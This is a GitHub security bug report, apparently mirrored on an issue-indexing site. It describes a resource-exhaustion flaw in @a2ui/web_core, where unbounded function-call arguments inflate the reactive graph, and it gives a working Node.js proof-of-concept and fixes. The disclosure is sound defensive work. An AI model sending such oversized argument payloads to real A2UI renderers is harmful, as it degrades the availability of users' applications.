a2ui-project / a2ui-project/a2ui

[BUG]: Unbounded `FunctionCall.args` explode the reactive graph before schema stripping

Ouverte
#2,384 2 commentaires 0 réactions 1 personne assignée Réclamée par @Varun-S10 Voir sur GitHub
P2 status: first-line-handled status: needs review type: bug
Langage dominant
TypeScript
Étoiles
16.4k
Forks
1.3k
Merge moyen
2 j 13 h
PR mergées (30 j)
134

Description

# Unbounded `FunctionCall.args` explode the reactive graph before schema stripping

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)

## Summary

The `FunctionCall` schema types function arguments as `z.record(z.any())` with no count bound, and the data-context resolver iterates the **raw** argument object — before the target function's own Zod schema strips unknown keys — creating one signal, one computed, and one effect per argument. An agent binds a validation condition to `{call: "regex", args: {value:…, pattern:…, j0:…, …, j4999:…}}`; `regex` ignores the junk keys, but the resolver has already built 5,000 reactive nodes for that single condition. Repeated across components this inflates the effect graph (memory and per-change CPU) far beyond what the component count suggests.

## Affected code

- `renderers/web_core/src/v0_9/schema/common-types.ts` — `args: z.record(z.any())` (npm dist `v0_9/schema/common-types.js:25`), no argument-count bound
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` iterates `Object.entries(call.args)` raw, i.e. pre-strip, creating a signal + computed + effect per entry (npm dist `v0_9/rendering/data-context.js:146-207`)

## Observed behavior (measured)

Driven through the published package's full pipeline (`MessageProcessor.processMessages` → `ComponentContext` → `GenericBinder` → catalog invoker), one TextField `checks` condition with 5,000 arguments:

| args in binding | bind time | heap growth |
|---|---|---|
| 2 (control) | — | −0.1 MB |
| 5,000 | 117 ms | +5.5 MB |

## Impact

A remote agent can send one spec-valid `updateComponents` message whose single condition carries thousands of arguments; each such binding permanently installs thousands of reactive nodes, scaling memory and every subsequent notification cost by args × components. Availability only.

## Suggested remediation

- Bound the argument count in `FunctionCallSchema` (e.g. reject records with more than N keys).
- Schema-parse (and thereby strip) the arguments **before** `resolveSignal` iterates them, so only keys the target function declares produce reactive nodes.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed in `node_modules` (e.g. `npm i @a2ui/web_core@0.10.6`), script in the same directory. Run `node poc_f20.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f20.mjs — F-20: reactive-graph explosion via unbounded function-call args.
// resolveSignal iterates Object.entries(call.args) and creates a signal +
// computed + effect per arg BEFORE the catalog invoker Zod-parses (strips) args.
// A malicious server binds a checks condition to
// {call:'regex', args:{ value:{path}, pattern:'x', j0:{path}, ... j4999:{path} }}.
// regex's schema ignores the junk, but resolveSignal builds 5000 arg-signals +
// effects for that one condition. Confirmed if heap grows >3 MB and binding
// took >50 ms (vs a 2-arg control).
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';

const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';

async function measure(nArgs) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
// build condition args
const args = { value: { path: '/n' }, pattern: 'x' };
for (let i = 0; i < nArgs; i++) args[`j${i}`] = { path: '/n' };
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 0 } },
{
version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'regex', args }, message: 'bad' }] },
] },
},
]);
const surface = processor.model.getSurface('poc');
const before = process.memoryUsage().heapUsed;
const t0 = Date.now();
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const sub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 100));
const ms = Date.now() - t0;
const after = process.memoryUsage().heapUsed;
sub.unsubscribe(); binder.dispose(); surface.dispose();
return { ms, grewMB: +((after - before) / 1048576).toFixed(1) };
}

const ctrl = await measure(0);
const big = await measure(5000);
const ok = big.grewMB > 3 && big.ms > 50 && big.grewMB > ctrl.grewMB + 3;
console.log(JSON.stringify({
finding: 'F-20-functioncall-args-reactive-explosion',
control_2args: ctrl,
with_5000_args: big,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```

Guide de contribution

Ouvrir le guide de contribution

Piste de recherche

The issue is in `renderers/web_core/src/v0_9/schema/common-types.ts` where `args` is defined as `z.record(z.any())` and `renderers/web_core/src/v0_9/rendering/data-context.ts` where `resolveSignal` iterates `Object.entries(call.args)`. Start by examining these files to understand the schema and the reactive node creation. The fix involves bounding the argument count in the schema and ensuring arguments are stripped before iteration. Run the provided PoC script to verify the memory growth and test any changes.

Rédigé par le modèle d'indexation à partir du texte de l'issue.

Évaluation

Stack technique
node.js, typescript
Domaine
backend-api-design, performance, security
Type d'issue
Bug
Difficulté
4/5
Temps estimé
3-5 jours
Activité
Active
Clarté
Clairement spécifiée
Accessibilité débutants
45/100

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.